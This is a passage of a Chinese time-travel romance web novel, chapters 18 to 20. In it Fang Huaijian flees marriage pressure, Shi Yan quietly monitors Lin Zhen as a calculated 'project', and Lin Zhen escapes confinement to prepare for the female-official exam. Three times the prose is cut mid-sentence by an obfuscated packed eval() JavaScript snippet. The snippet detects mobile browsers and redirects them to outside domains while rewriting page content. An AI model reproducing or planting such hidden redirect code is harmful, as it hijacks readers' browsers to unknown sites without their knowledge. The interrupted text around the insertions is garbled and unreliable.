“你这会失了心智,爹不和你计较”,林若柏按捺下情绪,“你好好想想,你想想你的话对得起谁!想清楚了再出门!” 林若柏大步走到门口,猛地拉开门,对上云娘的脸。 云娘知道林蓁落水,见林若柏脸色不好来找她,担心林蓁挨骂,故被林若柏支开后,仍然守在门口听。 她自恃年纪大一般人管不着她,便是林如柏最多不过说她几句。 林若柏见是她,只轻叹了声:“你来正好,把门锁了,让她禁闭一周”,末了又加上一句“你劝劝她”。 他拂袖离开,云娘还听到飘来一句话,“我没办法”。 云娘不怨林若柏,从开始知道她便不觉方怀简是良配,她亦想林蓁早点醒悟,别为不值得的男人耽误一生。 18. 第 18 章 在方怀简以为缄口不言就能让聚善亭事件迅速消弭时,流言蜚语如冬日荒原野火,悄无声息侵蚀着一寸寸土地,攻略皇城一颗颗八卦的心。 很快,这野火烧到方怀简自身。 某日时隽从皇城外神策军归家时,发现方怀简带着大包衣物,在自己院子厢房里看着长随方德山收拾,脸上悒悒不乐。 时隽惊奇:“犯了什么事你被爹娘赶出来了?” 方怀简烦躁道:“我姐不知哪里听说了我和林家姑娘落水,回府不直接问我,跑去找我娘打听,现在我娘天天拿着她那本册子逼我选一位姑娘,她要去下聘”。 时隽笑道:“这不挺好,你再不定下来变成老光棍,那些姑娘们可不会一直等你!” 时隽比自己还大半岁,方怀简可不惯着他。“滚!”他随手抓起桌上一只空茶盏掷向时隽,“我是老光棍,你就是耄耋老汉儿!” 时隽一个扑身,把茶盏稳稳接住,转手回掷到方怀简怀中:“嘿!这可是御贡曜变建盏,别不识货!坏了都没配的!” 这是时彦见他喜茶,刚拿给他的一套新茶具,虽没说价格,但只要看上一眼便知价值不菲,更可能是有价无市。时隽放在空置的厢房里还没舍得用,倒是便宜方怀简了。 方怀简闻言把茶盏拿在手中细看,那茶盏湛蓝为底宝气蒸腾,不同色斑耀出光晕华丽而神秘。 “你过得倒是越来越精致”。 时隽坐到方怀简身边,笑道:“我好福气,前面有哥哥顶着,我家说谁都说不到我身上”。 方怀简听说过时彦退亲之事,时彦比自己和时隽大四岁,退亲后到现在都稳如泰山,方怀简好奇道:“那你哥难道——” “我娘就宠着他呗,他在家可以横着走”,觉察到有关时彦不合适的话题,时隽赶紧岔开了话,“谁叫他那么能呢”。 方怀简感慨:“哥哥确实能干,不像我书海里泡出来,过去十几年哥哥都是舞刀弄枪,可这户部几年,哥哥做得比翰林院出身的文官还要好”。 “他狗屎运”,时隽嘴上不屑,脸上却藏不住为时彦骄矜的表情。 方德山收拾好房间退了出去。 时隽问:“那你打算住多久?” 方怀简道:“不知道,先清净几天再说”。 “你在这儿住一年都没关系,我不怕你娘找你,但我怕我娘骂我”。 方怀简若是住得久了,母亲谢氏必然担心方府方将军夫妇挂怀,到时挨骂的会是时隽。 “唉”,方怀简无奈叹气,“放心,在你母亲骂你之前走”。 接下来几日,这对总角好友过上几天轻松日子,各人每日下值回到毅勇侯府无任何人在耳边呱噪。时隽亦不用陪父母用晚膳,他和方怀简的晚膳谢氏会差人送到他们的院子,他俩吃吃喝喝完毕就到花园前院舞刀耍棍,方怀简一旁专注看着,认真做一番点评。 有时时世诚谢氏饭后散步,还能隔着云.墙月洞看到他们,时世诚知道方怀简来府暂住原因,他笑道:“他俩要是不想成亲,结个伴也挺好”。 谢氏啐道:“人家是选择太多花了眼,不像你儿子无人问津!” 如此几日,谢氏尚未开口骂时隽,在一个傍晚方怀简回来后,急匆匆收拾东西便要回方府。 时隽问:“为何突然这么急?” 方怀简没可奈何:“今日我母亲差人给我送信,我若傍晚不归家,她就要差人给祖母送信,定下表妹给我”。 过去母亲让他在皇城贵女中挑选,他尚能推脱,依仗的就是祖母始终不同意,祖母一直心喜在老家会山的外孙女徐蕊婴,她和方怀简一起长大青梅竹马。母亲和祖母本就有积怨,为着方怀简娶谁,更是水火不容,现在母亲软下阵来,和徐蕊婴的亲事那是跑不掉了! 时隽知道方怀简这些麻烦事,他道:“你回去难道就不用和表妹定亲了,这事迟早会定下来,你还是早点想好娶谁”。 方怀简边收拾边应道:“总之,不想因为聚善亭的事这会儿被逼着娶妻”。 说到聚善亭,方怀简手中动作突的顿了一下,只是一息,随即继续收拾。 心却像山谷幽静的深潭忽的落下一颗石子,涟漪一圈圈漾起,久久难散。 母亲不过听说他和林家一位姑娘齐齐落水,就围着他问长问短担心他被坑害,希望尽快定下亲事以免夜长梦多。 那林蓁呢,落水后两天她父亲就亲自找上门委曲求全,宁愿她做自己的妾也想把她嫁入方府,那时他自以为是以为这事很快会偃旗息鼓。 可现在。 他自己都被逼得进退无路,他可以时隽这里躲两天,林蓁会面对些什么呢。 方怀简心绪不宁,不敢细想却又忍不住想。 那日聚善亭前分别时林蓁的模样浮现在眼前。水洗的脸上眸光灿然如炬,无所顾忌看着自己,神情有些萎靡呆呆的,仿佛无尽心思。 上车前深深望了他一眼,依依不舍眷眷难离,还叮嘱他想起来就去找她。 她应该是有病。 如果她有癔病,现在一定会更严重了吧,她会像他一样被家人强迫嫁人还是被关在哪个角落治病?还是,根本没人注意到她有病?…… “喂!” 时隽一声吼,方怀简才发现自己晃了神。 “我和你说话,你听见没有?” “你说什么,我刚在清理东西没注意”。 时隽道:“明日下值我去找你,万一你有啥事我找个借口把你叫出府”。 “好啊,就这么说定了!” 方怀简收拾好东西,便要出门。 时隽看着一桌饭菜,问道:“不吃过饭再走吗?不急一时”。 “先回了,你自己吃吧,明日我们一起”,方怀简根本没有坐下吃饭的心思。 方怀简匆促离去,时隽甚少单独用膳,看着满桌饭菜亦没了胃口,操上一把刀直接跑到前院舞刀去了。 管家向谢氏禀告了方怀简离开的消息,转达了他的谢意。 谢氏奇怪他去的匆忙,正好时彦用完晚膳,谢氏让他去时隽院子看看。 时彦来到时隽的院子,几个丫鬟正在收拾桌上的餐食,见了他忙放下东西行礼。 见食物似乎没动过的样子,时彦问道:“两位公子没吃吗?二公子去哪儿了?” 丫鬟们据实告知,时彦便往前院走去,尚未走到就听到时隽舞刀的劲风声,转过月洞门,就见时隽飞檐走壁般,拿着把刀在前院舞得飞起。 时彦饶有兴趣站在一边观看。 没多久,时姝穿过另外一个月洞门,从花园里过来瞧。见时隽舞刀带着一股气儿,时姝问道:“二哥,你何事不爽快?” “那个林三,自从遇上她,烦死了!” 时姝关切道:“她怎么了?方二哥还没想起来么?” 方怀简在自己家住了几天,时姝通过母亲谢氏知道了原因,原是为了躲避母亲催婚。这让时姝心下不安,当初林蓁在自己面前胸有成竹,她会让方怀简想起来,方怀简会娶她。怎么现在非但没动静,还有奇奇怪怪的事,方怀简到底想没想起来呢。 时隽听到时姝的问话就烦,刀锋向她一转,一股劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14010115|147136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风带起地上残花落叶飞向时姝。 “神经病!”时姝连忙抬手遮挡,待劲风消退,拾起地上一只长枝就像时隽挥去。 当然碰不到时隽一根汗毛,时姝最后只能愤恨地把长枝扔向他。 “方二哥到底想起来没有?”时姝盯着时隽飘忽不定的身形质问。 “想起来啥啊?” “想起和林蓁的过往啊,他们以前认识呀!” “哪有什么过往,根本没有的事!” 时隽刀锋挥向树梢,树枝齐齐脆断,树叶似遇狂风暴雨纷纷落下。 时姝难以置信,那日在松鹤楼时,林蓁描述得有模有样,还向她讲了律法故事,怎么可能是假的呢。 “可林蓁说他们曾经同学,虽然学的不一样但常常切磋,怎会不认识呢”。 “我就是世之同学,和他一起从小上学,直到他去会山,我怎么不认识林蓁,难不成世之回来后才和她同学?” 时姝语塞,二哥的确和方怀简同学过,但林蓁真的不像说谎的样子啊,她如果说谎,难道还能骗得过方怀简本人吗,图什么呢。只是那日林蓁说得笃定,时姝毫不怀疑,现下想想二哥说的话,林蓁说过的似乎破绽百出。 “可她不像说谎啊,在方二哥面前,她说这样的慌有什么意义呢”。 “要不她编故事图一乐,要不她有病”,时隽的刀猛的向柳树树干挥去。 眼看柳树就要被拦腰砍断,“再砍院子里没树了!”时彦大声提醒,“母亲要骂人了!” 刀锋触碰树干瞬间时隽收了力,半把刀没进了树干! 时彦走到柳树旁,伸手想拔出刀,可利刃插进树干纹丝不动。 时彦叹道:“这树迟早被你折腾死”。 “她就是有病!”时隽语气恨恨的,“她得了癔病,就是要缠着世之,让他娶她!” “她编出个前世今生的故事,连两个人名字都想好了,想方设法让世之相信,怎么可能!谁能相信自己不是自己呢!” “就是她,弄出一堆事儿,现在世之焦头烂额!” 时姝喃喃:“她有病?她编故事?” 如果二哥说的是真的,似乎只能用林蓁有病来解释,可时姝想到她在春光下灿烂如花的样子,想到她讲故事有板有眼的奕奕神采,真的很难想象她是一个病人。 “世之现在怎么了?”时彦一边尝试着拔刀一边问。 “来是为躲婚,回去也是为这个,他再不回去,他娘准备给他定表妹了!” “啊!”时姝情不自禁喊出了声。 她心疼林蓁,林蓁怎么办,她就算得了病,也肯定是为方二哥得的相思病,方二哥定了亲,她的病能好吗。 “方二哥不想的吧?”时姝问得心焦。 “当然不想了,便是成亲也应是自己的主意,而不是被林三的事情逼的”。 得知方怀简暂时不会定亲,时姝稍稍松了口气,只松懈了一息,她又紧张起来,她继续追问时隽:“但方二哥还是会定亲的吧?” “他现在不正为这事儿烦么!” “我听说”,时彦终于拔出树干上的长刀,他摸摸树干上长长伤口,把长刀递给时隽,“翰林院正打算派些人手到下面各个州府,为八月的秋闱做准备,世之知道这事儿吧?” “秋闱?”时隽知道乡试在即翰林院最近很忙,方怀简一直在忙这些事,但再多他一个武官就啥也不知道了。 “嗯,你可以问问世之,去州府清净几个月,哪里都不用躲,不用天天与爹娘见面,回来时说不得豁然开朗,有了主意”。 19. 第 19 章 手中大刀锋利森然刀刃透着寒光,时隽看着刀凝神不语。 时彦拔刀拔了半天,时隽自己拔应该不费什么功夫,可晚了时彦一步,见他拔得艰难,反倒不好插手。时彦自重伤后到现在差不多四年,看似恢复如初,实则不经意间总暴露出他像筛子一样四处漏风的体质,武力值约等于零。 有时时隽会想,时彦摔下山崖,宛若被打残了身体,祸兮福之所伏,脑中经络同时被打得豁然贯通,竟有了颗七窍玲珑心。 翰林院翰林担任每届科举考官,这完美无瑕的借口他怎么从来没想到呢,当下决定明日见面就提醒方怀简。 心下如此想时隽面上并未回应,时彦见他不语,又添了把柴:“往年翰林学士去各地州府主持科举,做得好发掘举荐了栋梁之材的,回来后都是青云直上,在尚书房侍值,这种事情再有下次也得三年后”。 时隽点头:“这事儿想来世之爹娘不会横拦竖挡”。 时姝亦把时彦的话听进心里,不过她想的是方怀简一去几个月,林蓁若是因方怀简而病,后面日子必万分煎熬。 时姝问时隽:“你怎么确定林蓁得了癔病,你后来见过她?” 见过自然是见过,时隽不用说,时彦时姝都能猜到,可他既然答应过方怀简,那些细节他不会说,他倒不是担心林蓁脸皮,只觉会给方怀简带来困扰。 “你们不都亲眼见过,她口口声声熟悉世之,前世今生编得像模像样”。 “她编什么了?” “不就你说的同学那些么”,时隽语气有些嘲讽,“前世他俩是同学,自然熟识”。 时姝不再追问,抿紧唇回想那日松鹤楼雅间里的谈笑,那是她编的前世故事? “是不是叫飞飞?”时彦口吻中带着些许同情,“这是她想的名字?” “是啊,你还记得?”时隽有点儿佩服时彦,就见过一面,那些细节他还能如此印象深刻。 “那她自己叫什么?” “叫安安”。 时彦摇摇头,不经意间说着淡话:“这样说来还真有点癔病迹象。这林三姑娘怪可怜的,取的名字自己的是安安,这安字本意是女子呆在屋里,呆在安全宁静的环境,可世之的飞飞,这是让心仪者带自己逃出牢笼之意”。 时隽细想,还真有些契合,附和道:“说不准她就这样想”。 “想个名字就癔病了?”时姝不服气道,“找点托词以示好感拉进距离,就被你们想得这么不堪,以为人人都在做春梦?” 一番思量,时姝已经接受林蓁所说为假,但说她因情而癔,时姝还是有些难于接受,认为时隽因和方怀简要好而抹黑他人。 “嘿,你怎么说得——”时隽咋舌,“不过她做的比你说的还吓人”。 “她做什么了?”时姝追问。 时隽却不愿再说,只道:“我当她是病人,不损她”。 这会儿落霞绚丽,烟霞散彩,天空泛出美丽的粉紫,时隽携着刀往回走,时姝缠着他追问个不停,只是他状若哑巴再不开口。 时彦跟在两人身后,笑看他俩缠闹。 时隽性格直爽,但亦有自己的一些小心思,不像时姝天真烂漫毫无心机,时彦几句话就把她和林蓁间的闲聊问了个门儿清。 虽然时隽嘴紧,今日这个时机却是天时地利,从时隽这儿得到的信息已让时彦迅速做出决定,可以实实在在向林蓁跨步了。 林蓁的一举一动,细微的他无法得知,动静大的他皆知晓。盖因在他几年前筹谋计划迎娶林蓁时,便有许多细节上的铺陈安排,类似他在另一个时空做项目投资时,启动前对方方面面的考察和预案应对。林蓁,就是一个回报率巨大的诱人项目。 不久前林蓁终于上门却发生偏差后,时彦加派了人手留心英国公府响动,不说英国公府里的人,就公府门口附近的小摊小贩,甚至晚上路过的更夫,都是他在这个时空里对林蓁的天网监控摄像头。 时彦已然清楚,林蓁应该和他一样是个穿越者,生活的时空接近或者相同,毕竟她知道cosplay,但她不知道这是一本书中的剧情,因为她本可以凭手中玉佩轻而易举获得至高无上的权利,什么方怀简李怀简的,只要她张一张嘴,什么人不会被送到她的面前,匍匐在她的脚下? 很幸运,虽然剧情出了偏差,但一切还在掌控中,正在有条不紊进行。 待方怀简离开皇城,他便不会有任何干扰,迈开步子等待项目瓜熟蒂落。过去他负责的所有项目,到了该他出手的阶段,从来都是一击即中,功成名遂,他相信这次也不会例外。 想想林蓁这段时间对方怀简的扑棱,时彦喟然叹息间都有些同情方怀简了,小鬼难缠,不过转念一想,若林蓁这般缠自己,他这个项目可是个金疙瘩,万金不换。 内心已然摩拳擦掌,时彦跃跃欲试。 * 方大将军府。 方怀简母亲袁氏自从女儿处知道自己幺儿和英国公府的林三姑娘在端午节那天齐齐落水,就再没睡过一个好觉。 当日她知道的那一刻,只觉冬日一桶冷水直浇头顶,心哇凉哇凉得冰!她和婆母斗了半辈子不分胜负,就在决胜局方怀简娶媳妇问题上,要杀出个程咬金吗?若是如此,婆母和自己都得呕血而亡。 她当即叫来方怀简,想问清怎么回事。可自己儿子却不当回事般,只说虽双双落水但不存在谁救谁,各自上岸便离开了,更是信誓旦旦英国公府绝不会上门来生事。 方怀简自是不会说予母亲知道,林若柏愿意林蓁做妾的事。既然他已拒绝,想来英国公府没有理由再来找他。 袁氏不知道这些,她担心英国公府会考虑林蓁名声上门提亲,便是她厚着脸皮狠下心肠拒绝,姑娘家和一个年轻男子一起落水,万一想不开做出点啥事,那方怀简后半辈子就算没毁,也是染上了洗不掉的污点。 她从未如此迫切,希望方怀简尽快娶妻。 不仅方怀简需要立刻定下亲事,英国公府亦应该清楚知道,他们方府不会与之结亲。像林蓁这样的姑娘,从未进入过袁氏眼中考虑为儿媳妇的可能,特别是从大儿媳朱氏那儿知道些林蓁的事情后,袁氏确信,她和婆母挑选儿媳妇和孙媳妇,都不会考虑林蓁。 以防万一先发制人,袁氏给英国公府的老祖宗李氏写了封亲笔信,委婉表达了两人虽齐齐落水,但方怀简不可能与林蓁结亲的意思,方怀简已有心仪之人,不日即将娶妻,随信还附上大礼,百年的老参和灵芝,送给林蓁压惊和补身体。 这些事方怀简躲到毅勇侯府后袁氏差人去办,方怀简回来后也没人和他提。 林蓁祖母李氏收到信时,才知家里出了这样一桩大事,登时头晕眼黑。 两个儿媳妇被叫到跟前,信被掷到她们脸上。 大房佟氏和二房陈氏看了方府袁氏的信均默不作声。她俩知道林蓁落水这事儿,可林若柏罕见的把林蓁关禁闭,两位媳妇还能说什么呢。 此刻面对婆母李氏的逼问,却不得不说。 佟氏道:“是有这事儿,我知道时三姑娘已被关禁闭,所以具体怎么回事不得而知”。 陈氏亦甩锅:“托人去方府问过一次被拒,后面二老爷让我别再管这事儿,我知道的时间和大嫂也差不多”。 李氏捶胸顿足:“所以我不问你们都装不知道?以后英国公府名声坏了臭了,和你们也无关?老五老六都不用嫁人,在家呆一辈子?!” 先将两个事不关己高高挂起的儿媳妇骂一顿,待林若柏回府,又叫到跟前狠狠斥责一番。众人皆敛声屏气,林若柏只敢说林蓁“女孩儿心思,一时糊涂”,其余啥也不提。 李氏气得恨声:“老三以前懂事的呀!她这是怎么了! 人家已经拒绝了,还想法儿让人家落水,我们家姑娘就这么自贱自轻,知道的我们是英国公府的姑娘,不知道的还以为是哪里不识字只知下三滥上位的低贱女子!” “被回绝了不吭气没人知道,硬要要挟到现在满皇城的人知道了,方府还送参送芝的,丢人二字都不认识吗?” 又心酸抹泪:“活这么大岁数一张脸皮因这个事全没了!我一辈子好胜要强的人怎么生出你们这些子孙!” 骂到兴起,把知道这事隐瞒不说的二房孙子孙女叫到面前继续训斥。 直说得疲累嗓子发痒胸口闷疼,李氏才道:“都去祠堂跪着,二房的都去!先跪一个月,男的抄《论语》,女的抄《女德》,先抄一百遍再说!” 大丫鬟在一旁提醒:“四少爷每天还要上学”。 “放学了去跪,不耽误!” 第一次见祖母大发雷霆,林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14027479|147136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承俭林葳林萃一个字不敢开口,更不敢辩驳,乖乖领罚。 林蓁因关禁闭并未到场,李氏吩咐道:“林蓁跪一年。等她出了禁闭,直接把她东西收拾到我这里,我亲自看她教她!” 林承俭提醒道:“祖母,明年三姐十八了!” 李氏恼恨:“十八如何?就是十五二十,谁家都不会让德行有失的姑娘进门!” 二房两女一男在祠堂跪到天透黑才被允许回房休息。 林葳满腹怨言无人可诉,委委屈屈一瘸一拐回了自己院子。林承俭则是揣了一肚子话要和林蓁说,跟着林萃一起到沁院。 林蓁正在看书。 虽被关了禁闭,其实她的生活和以前比,没太大变化,她本就不出门,每天例行公事去两趟陈氏处请安,现在连请安也省了。唯一不便就是浇水施肥的活儿没法自己做了,但碧竹浇水时她站在窗边指导,云娘只管锁门,其他都不拘着她。 林若柏那天骂了她后,林蓁真的有认真反思,思索前路。 既见君子云胡不喜,已然再遇飞飞,她心里再装不下他人,当务之急不要被家人逼嫁。 再者方怀简短期内应该不想见她,她得再想法让他至少不排斥她。 她倒没想过做尼姑,方怀简还没定亲,她怎会主动绝了自己的路,不过考女官的念头却是日益见长。 过去她考虑弟弟前程声誉压下这个想法,现在她经历落水今后许多身不由己,想来弟弟能理解她。至于英国公府一大家子人,不管他们是否同意,自己得先准备起来。 林承俭进了沁院,看见的林蓁心平气和。 姐弟仨人站在窗户边说话,祖母跟前的事林蓁知道得明明白白。 她本来平心静气,听到要被关一年还是在祖母眼皮子底下,如火一下子撩着了眉毛,心都烫得一抖! 女官报名考试和明年春闱差不多时间,她被盯死在府里,还能做什么呀,更别说一年都见不到方怀简,再见他可能他都要当爹了。 林承俭和云娘也急,他俩急的是林蓁岁数越来越大,嫁不到好人家。 三人面红耳赤想不出主意,林萃安慰林蓁:“三姐姐,等见了祖母你就向祖母认错,和祖母住在一起更好,天天哭给祖母看,祖母一定会心软改变主意!” 云娘着急又有些好笑这孩子,摸摸林萃的头,赞同道:“你说得很有道理,三姑娘应向老夫人诚心认错!” 说着,牵上她的手送她回房,手上还拿着准备送她的小玩意,她被林蓁带累跪到现在,云娘过意不去。 林蓁见两人走开,立刻对弟弟央求道:“小弟,帮我!” “怎么帮,上次帮你惹出这事儿,我都后悔了!”林承俭回想他带林蓁去聚善亭这事儿,肠子都悔青了。 “帮我逃出去!”林蓁不假思索脱口而出。 “啊?!”林承俭立即头摇得似拨浪鼓,林蓁的想法越来越离谱了! “我想考女官,出去找个地方躲起来准备,我不会生事!” “不行不行!”林承俭不松口,“祖母会拧断我的脖子!” “难道你想看到我明年被迫嫁给哪个老鳏夫,做一身老人味男人的继室吗?” 想想林蓁霞姿月韵被一个老男人禁锢在怀中,那感觉和拧断脖子也差不离,林承俭甚至现在就有些呼吸困难了。 他犹豫道:“就只准备考女官吗?你不去干别的?” 方怀简无情拒了林蓁,即便如此他在林承俭心目中印象并未受损,说实话如有可能,林承俭挺高兴有这样一个姐夫,他都蠢蠢欲动不死心,三姐能甘心吗? “此刻再找他无济于事,等我支棱起来以后做天子侍中,人人仰承我鼻息!” 别说当今女官中尚无女侍中,就是有,以林蓁过去大门不出二门不迈的个性也是不敢想的,此刻她明白弟弟意思,不过想忽悠弟弟快点儿答应,怎么好使怎么说。 林承俭踌躇徘徊。 在林蓁不断描述老男人的可怖和各种承诺保证发誓后,林承俭终究横下了心。他不忍心林蓁嫁给一个鳏夫,而这在一年后林蓁名声不再时是极度可能之事。 宁愿她做一个茕茕孑立却有话语权自主权的女官。 当夜深沉黑如鬼魅吞噬万物时,林承俭带着准备好的包袱,帮着林蓁翻跳了院墙。 20. 第 20 章 夜半三更,万籁俱寂,林蓁顺着床衾从院墙上滑落,待站稳后亦不敢吱声,拉着床衾使劲晃动三下,这是她和林承俭约好的信号,另外一面墙下的林承俭感受到动静,把床衾拉了回去。 床衾在林蓁眼前消失,面前只有一堵白墙,深夜漆黑如墨,林蓁目光扫过周围,天地间似乎唯有自己,和淡淡月光洒下昏暗身影。 “汪汪”,不知哪里一阵狗吠,林蓁的心跟着一阵抽搐,不害怕是不可能的,两辈子第一次翻墙,还是不熟悉的陌生时空,没有警察会来帮助自己,相反得提防被巡夜的金吾卫发现。 深深吸了口气,看了眼正空中圆月辨别了大致方向,林蓁给自己鼓劲儿,这就是你想要的自由,坚定地走下去,飞飞在前面等着你! 仿佛飞飞站在前方黑暗中笑着向她招手,林蓁浑身血液燃了起来,疾风知劲草,经历过才知道飞飞对自己多么重要。 系好包袱,林蓁跑进漆黑的夜,脚步决然有力。 没出门几次不熟悉皇城,林蓁只知道大概方向,顺着估摸的方位往英国公府反方向跑,一路上小心躲避巡夜的队伍和更夫,累了就躲在角落喘口气,气顺了就继续跑,不知跑了多久,天边墨黑颜色渐渐泛蓝。 就在林蓁继续跑时,远处一户紧闭的房门忽然打开,黑夜里亮光如耀目火炬,映着一位妇人纤细身形。 林蓁顿了顿脚步,毫不犹豫朝亮光跑去。 原来是一户做小生意人家,门口挂着的蓝色布幌上绣着“肖记”二字,屋内一位三十来岁妇人正忙着揉面。 林蓁站在门边,可怜兮兮央求道:“姐,我是来寻亲的外乡人,被人打昏劫了钱财,能在姐这儿歇口气吗?” 揉面的妇人吓了一跳,目光看向林蓁。 来人少年书生模样双手扒拉着门板,那双手细皮嫩肉跟葱白似的,青色长衫虽旧却特别干净顺眼,背着个包袱微微喘气,一双杏眼清澈得似山间溪涧,映照着屋内烛火,蕴满无助和渴盼,这样俊美少年叫人无端生起几分怜爱。 妇人拒绝的话竟说不出口。 踟蹰了一会儿,妇人磕磕巴巴道:“我是个寡妇,不方便呢”。 这不踏破铁鞋无觅处,得来全不费工夫最好落脚地吗?! 林蓁当即跪下,殷殷恳求:“姐,求你帮帮我!我是个姑娘家,女扮男装来寻亲,遇到歹人刚逃出贼窝,求姐姐可怜可怜我!” 说着就要给妇人磕头。 这寡妇本就怜爱林蓁模样,见她竟然是个女子,又经历了这番遭遇,和自己同病相怜,当下于心不忍,寡妇拦住她动作:“妹子住下便是了,只是我这儿简陋,没得多余床铺”。 “不妨事!不妨事!有个地方能挡雨就成!” 林蓁千恩万谢站起身,看着寡妇拉着自己的胳膊一脸关切,一时控制不住,眼眶瞬间就红了,眼泪在眼圈里打着转。 寡妇愈发可怜她,她自己也是带着孩子来皇城投奔哥哥的,各种艰难辛酸她比谁都懂。 “不嫌弃的话,随你住,但愿你早日找到亲人!” 眼泪啪嗒滚落出来,林蓁赶紧抬手抹泪,哽咽道:“谢谢姐姐,我给姐姐帮忙吧?” 寡妇看林蓁书生打扮,不像干活麻利顺溜的样子,婉拒道:“不用,你自己去收拾个歇脚的地方”。 当下给林蓁指了休息的地方。 这屋子前店后宅,前面是包子铺,后面是几间厢房,中间一个天井相连两处。指给林蓁休息的厢房是个杂物间,面粉布袋堆得快到屋梁,竹制大蒸笼靠墙码放得整整齐齐,地上还放着硕大面盆,所幸收拾得干净整洁,没有一处污渍。 林蓁想到陋室铭。 寡妇给林蓁搬来几个条凳,不好意思道:“给你搭个可以躺的地方,后面你再去寻个好住处”。 两人合力靠墙摆好条凳,上面放几块木板,先铺上一层稻草再覆上薄薄一床棉絮,盖上床衾,就是一张床铺。 林蓁在床铺上坐坐,像火车的硬卧,感觉还挺好,她抬眸向寡妇笑:“谢谢姐,真舒服!” 寡妇去前店里继续忙。 跑了一晚上,这会儿再不担心被人发现有人追赶,林蓁挨着床铺闭眼就睡着了,睡得很沉很香。 再醒来时,已过了晌午,肖寡妇忙了一上午正在收拾,店铺里还有个十来岁小丫头在给肖寡妇帮忙。林蓁赶紧起来搭把手,做些扫地清理的活。 肖寡妇塞给林蓁几个包子,热乎乎还烫着手。 “先吃吧”,肖寡妇笑着对林蓁说,“这活儿我自己能干,有空你去找你亲人”。 亲人,林蓁想起来,她是来寻亲的,可她要寻的飞飞就算近在眼前,一时半会儿亦是寻不到他的心的。 林蓁咀嚼着包子,压下眼中的酸意。 和肖寡妇小丫头闲聊中,林蓁弄清了这家人状况。肖寡妇带着自己丫头几年前来皇城投奔哥哥,两人租了这个地方经营包子铺,勉强维持生计。 提到自己哥哥,肖寡妇讪笑:“他忙,常常几天才回”。差不多过了一整天,肖哥哥自始至终未出现过,各家有各家难处,林蓁没有多问。 林蓁简单介绍自己来皇城寻未婚夫,央告肖寡妇为自己保密,对外就叫自己甄家弟弟,是远亲。 夜深人静,林蓁再次躺到小床上,看着白花花面粉袋子,想着今后打算。 她随身带了些银两,足以撑到明年春闱,这儿虽然简陋,但人际关系简单好相处,而且位置在闹市民居中,英国公府的人除非挨家搜查,否则很难查到此处,林蓁打算就呆在这儿看书,有空“寻人”。 心下有了主意,略显坚硬的床板似乎已不那么硌人,翻身时不知是条凳还是木板发出的嘎吱声都变得动听,让林蓁觉得很安心。 翌日,林蓁就出门“寻人”。 她当然会去找飞飞,不过她先得去打听明白女官考试。 过去她只是心里有过考女官的萌芽,始终认为这于自己并不可能,自己会嫁给某个男人然后泯然众人。是以关于女官考试的信息都来自所看书籍或者家人偶尔提及的三言两语。 如何报名所考内容参考书籍等均是一团黑雾。 林蓁先寻到礼部,礼部负责科举考试,想来女官遴选应该类似。 礼部在离宫城不远的中央大街上,建筑坐北朝南气势恢宏,朱漆大门上金丝楠木匾额巍峨气派,门口两座石狮睥睨着匆匆路过的行人。 守在朱门两侧的衙役高大健硕,面目威武凛然。 林蓁莫名想起天安门下守护国旗的军人凛然不容侵犯,心里虽有些发憷,但还是靠近了衙役想打听打听。 还未近身,衙役一声呵斥:“闲杂人等莫近身!” 林蓁脚步顿在了路中。 想想另外一个时空自己去法院办案时,几乎未走过正门,都有专门侧门进行一系列安检方可进入,林蓁目光向周围好一番观望,终于看见了一家书肆,她跑进去向伙计好一番打探,才寻得布衣白丁能够进入礼部的偏门。 不过她还是找错了地方,礼部并不负责女官遴选,御史台才是主管此事正主,这个时空里御史台可以风闻言事,女官工作除了服务皇室成员,主要就是监察进谏。 林蓁赶往御史台。 这次她有了经验,根本不往大门凑,向周围打听了一圈找到御史台偏门,里面当值的小吏有礼客气,林蓁想知道的都弄明白了,她完全符合考女官的要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14038571|147136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求。 走出御史台偏门,天高云淡,林蓁神清气爽。曾经遥不可及的梦想似乎近在咫尺,考女官,一步步靠近,过去神秘莫测困难重重,现下渐渐褪下面纱不再难以企及。 林蓁兴奋走出御史台偏门,轻松之际发现御史台门前大街上有人摆摊写状书,一份一百文! 一百文!林蓁看着布幌上的数字心里发痒。 她曾是过了国家法考的职业律师,虽然工作时间很短暂就穿来这个世界,但写法律文书的本事那是杠杠的。而且女官考试内容之一亦是文书写作,这个时空里她还没练过手。 林蓁歇下回去的心思,走到一个人头攒动的状师摊前伸长脖颈悄悄观看。 不难,都是模板套路。 默默看了一下午,直到状师摊前人走了大半,继续待下去太过显眼,林蓁才意犹未尽离开。 第二日过了午时,林蓁带着自己忙了一上午准备齐备的状书工具,学着其他状师模样也在御史台门前大街上摆起了摊。 